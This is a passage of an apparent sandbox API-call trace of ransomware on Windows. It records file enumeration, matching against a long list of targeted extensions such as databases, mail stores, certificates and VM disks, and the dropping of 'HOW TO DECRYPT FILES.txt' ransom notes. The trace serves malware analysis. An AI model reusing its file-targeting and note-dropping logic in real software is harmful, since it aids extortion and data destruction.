(lpString="*.tar") returned 5 [0137.146] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.bz2") returned 0 [0137.146] lstrlenA (lpString="*.bz2") returned 5 [0137.146] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.gz") returned 0 [0137.146] lstrlenA (lpString="*.gz") returned 4 [0137.146] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.mkv") returned 0 [0137.146] lstrlenA (lpString="*.mkv") returned 5 [0137.146] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.eml") returned 0 [0137.146] lstrlenA (lpString="*.eml") returned 5 [0137.146] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.msg") returned 0 [0137.146] lstrlenA (lpString="*.msg") returned 5 [0137.146] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.edb") returned 0 [0137.146] lstrlenA (lpString="*.edb") returned 5 [0137.146] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.accdb") returned 0 [0137.146] lstrlenA (lpString="*.accdb") returned 7 [0137.146] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.odb") returned 0 [0137.146] lstrlenA (lpString="*.odb") returned 5 [0137.146] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.java") returned 0 [0137.146] lstrlenA (lpString="*.java") returned 6 [0137.146] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.asm") returned 0 [0137.146] lstrlenA (lpString="*.asm") returned 5 [0137.146] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.pfx") returned 0 [0137.147] lstrlenA (lpString="*.pfx") returned 5 [0137.147] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.pem") returned 0 [0137.147] lstrlenA (lpString="*.pem") returned 5 [0137.147] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.p12") returned 0 [0137.147] lstrlenA (lpString="*.p12") returned 5 [0137.147] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.gpg") returned 0 [0137.147] lstrlenA (lpString="*.gpg") returned 5 [0137.147] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.vsd") returned 0 [0137.147] lstrlenA (lpString="*.vsd") returned 5 [0137.147] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.odg") returned 0 [0137.147] lstrlenA (lpString="*.odg") returned 5 [0137.147] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.raw") returned 0 [0137.147] lstrlenA (lpString="*.raw") returned 5 [0137.147] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.nef") returned 0 [0137.147] lstrlenA (lpString="*.nef") returned 5 [0137.147] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.svg") returned 0 [0137.147] lstrlenA (lpString="*.svg") returned 5 [0137.147] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.psd") returned 0 [0137.147] lstrlenA (lpString="*.psd") returned 5 [0137.147] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.vmx") returned 0 [0137.147] lstrlenA (lpString="*.vmx") returned 5 [0137.148] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.vmdk") returned 0 [0137.148] lstrlenA (lpString="*.vmdk") returned 6 [0137.148] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.vdi") returned 0 [0137.148] lstrlenA (lpString="*.vdi") returned 5 [0137.148] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.lay6") returned 0 [0137.148] lstrlenA (lpString="*.lay6") returned 6 [0137.148] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.mpeg") returned 0 [0137.148] lstrlenA (lpString="*.mpeg") returned 6 [0137.148] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.djvu") returned 0 [0137.148] lstrlenA (lpString="*.djvu") returned 6 [0137.148] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.tiff") returned 0 [0137.148] lstrlenA (lpString="*.tiff") returned 6 [0137.148] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.backup") returned 0 [0137.148] lstrlenA (lpString="*.backup") returned 8 [0137.148] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.pdf") returned 0 [0137.148] lstrlenA (lpString="*.pdf") returned 5 [0137.148] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.cert") returned 0 [0137.148] lstrlenA (lpString="*.cert") returned 6 [0137.148] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.docm") returned 0 [0137.148] lstrlenA (lpString="*.docm") returned 6 [0137.148] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.xlsm") returned 0 [0137.148] lstrlenA (lpString="*.xlsm") returned 6 [0137.148] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.dwg") returned 0 [0137.149] lstrlenA (lpString="*.dwg") returned 5 [0137.149] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.nd") returned 0 [0137.149] lstrlenA (lpString="*.nd") returned 4 [0137.149] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.tlg") returned 0 [0137.149] lstrlenA (lpString="*.tlg") returned 5 [0137.149] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.lgb") returned 0 [0137.149] lstrlenA (lpString="*.lgb") returned 5 [0137.149] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.mov") returned 0 [0137.149] lstrlenA (lpString="*.mov") returned 5 [0137.149] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.xdw") returned 0 [0137.149] lstrlenA (lpString="*.xdw") returned 5 [0137.149] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.ods") returned 0 [0137.149] lstrlenA (lpString="*.ods") returned 5 [0137.149] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.wav") returned 0 [0137.149] lstrlenA (lpString="*.wav") returned 5 [0137.149] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.mp3") returned 0 [0137.149] lstrlenA (lpString="*.mp3") returned 5 [0137.149] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.aiff") returned 0 [0137.149] lstrlenA (lpString="*.aiff") returned 6 [0137.149] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.flac") returned 0 [0137.149] lstrlenA (lpString="*.flac") returned 6 [0137.149] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.m4a") returned 0 [0137.149] lstrlenA (lpString="*.m4a") returned 5 [0137.150] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.csv") returned 0 [0137.150] lstrlenA (lpString="*.csv") returned 5 [0137.150] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed31f20, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x27ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobalResources.resx", cAlternateFileName="GLOBAL~1.RES")) returned 1 [0137.150] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.150] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="GlobalResources.resx") returned -1 [0137.150] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="GlobalResources.resx") returned 1 [0137.150] lstrcmpiA (lpString1="", lpString2="GlobalResources.resx") returned -1 [0137.150] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx") returned="AppConfigCommon.resx" [0137.150] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\" [0137.150] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\") returned="" [0137.150] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\HOW TO DECRYPT FILES.txt" [0137.150] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_globalresources\\how to decrypt files.txt")) returned 0x20 [0137.150] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\", lpString2="GlobalResources.resx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx" [0137.150] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.ems") returned 0 [0137.150] lstrlenA (lpString="*.ems") returned 5 [0137.150] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.db") returned 0 [0137.150] lstrlenA (lpString="*.db") returned 4 [0137.151] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.dbf") returned 0 [0137.151] lstrlenA (lpString="*.dbf") returned 5 [0137.151] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.myox") returned 0 [0137.151] lstrlenA (lpString="*.myox") returned 6 [0137.151] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.myo") returned 0 [0137.151] lstrlenA (lpString="*.myo") returned 5 [0137.151] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.qbw") returned 0 [0137.151] lstrlenA (lpString="*.qbw") returned 5 [0137.151] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.qbb") returned 0 [0137.151] lstrlenA (lpString="*.qbb") returned 5 [0137.151] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.qbm") returned 0 [0137.151] lstrlenA (lpString="*.qbm") returned 5 [0137.151] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.qbo") returned 0 [0137.151] lstrlenA (lpString="*.qbo") returned 5 [0137.151] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.qbx") returned 0 [0137.151] lstrlenA (lpString="*.qbx") returned 5 [0137.151] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.qba") returned 0 [0137.151] lstrlenA (lpString="*.qba") returned 5 [0137.151] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.qby") returned 0 [0137.151] lstrlenA (lpString="*.qby") returned 5 [0137.151] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.qbj") returned 0 [0137.152] lstrlenA (lpString="*.qbj") returned 5 [0137.152] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.ofx") returned 0 [0137.152] lstrlenA (lpString="*.ofx") returned 5 [0137.152] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.qif") returned 0 [0137.152] lstrlenA (lpString="*.qif") returned 5 [0137.152] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.mye") returned 0 [0137.152] lstrlenA (lpString="*.mye") returned 5 [0137.152] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.mbox") returned 0 [0137.152] lstrlenA (lpString="*.mbox") returned 6 [0137.152] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.eml") returned 0 [0137.152] lstrlenA (lpString="*.eml") returned 5 [0137.152] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.pst") returned 0 [0137.152] lstrlenA (lpString="*.pst") returned 5 [0137.152] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.ost") returned 0 [0137.152] lstrlenA (lpString="*.ost") returned 5 [0137.152] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.idx") returned 0 [0137.152] lstrlenA (lpString="*.idx") returned 5 [0137.152] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.dbx") returned 0 [0137.152] lstrlenA (lpString="*.dbx") returned 5 [0137.152] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.sql") returned 0 [0137.152] lstrlenA (lpString="*.sql") returned 5 [0137.152] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.mdb") returned 0 [0137.153] lstrlenA (lpString="*.mdb") returned 5 [0137.153] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.fdb") returned 0 [0137.153] lstrlenA (lpString="*.fdb") returned 5 [0137.153] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.wab") returned 0 [0137.153] lstrlenA (lpString="*.wab") returned 5 [0137.153] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx", pszSpec="*.dat") returned 0 [0137.153] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed31f20, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x27ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobalResources.resx", cAlternateFileName="GLOBAL~1.RES")) returned 0 [0137.154] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0137.154] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebdb2c0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f2d9360, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f2d9360, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="App_LocalResources", cAlternateFileName="APP_LO~1")) returned 1 [0137.154] lstrcmpA (lpString1=".", lpString2="App_LocalResources") returned -1 [0137.154] lstrcmpA (lpString1="..", lpString2="App_LocalResources") returned -1 [0137.154] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\*.*") returned="*.*" [0137.154] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\", lpString2="App_LocalResources" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources" [0137.154] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebdb2c0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f2d9360, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f2d9360, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x730065, dwReserved1=0x48005c, cFileName=".", cAlternateFileName="")) returned 0x502658 [0137.158] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.158] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebdb2c0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f2d9360, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f2d9360, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x480000, cFileName="..", cAlternateFileName="")) returned 1 [0137.158] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.158] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.158] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ebdb2c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x82f, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="default.aspx.resx", cAlternateFileName="DEFAUL~1.RES")) returned 1 [0137.158] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.158] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="default.aspx.resx") returned 1 [0137.158] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="default.aspx.resx") returned 1 [0137.158] lstrcmpiA (lpString1="", lpString2="default.aspx.resx") returned -1 [0137.158] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\*.*") returned="*.*" [0137.158] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" [0137.158] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\") returned="" [0137.158] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\HOW TO DECRYPT FILES.txt" [0137.158] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_localresources\\how to decrypt files.txt")) returned 0xffffffff [0137.158] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_localresources\\how 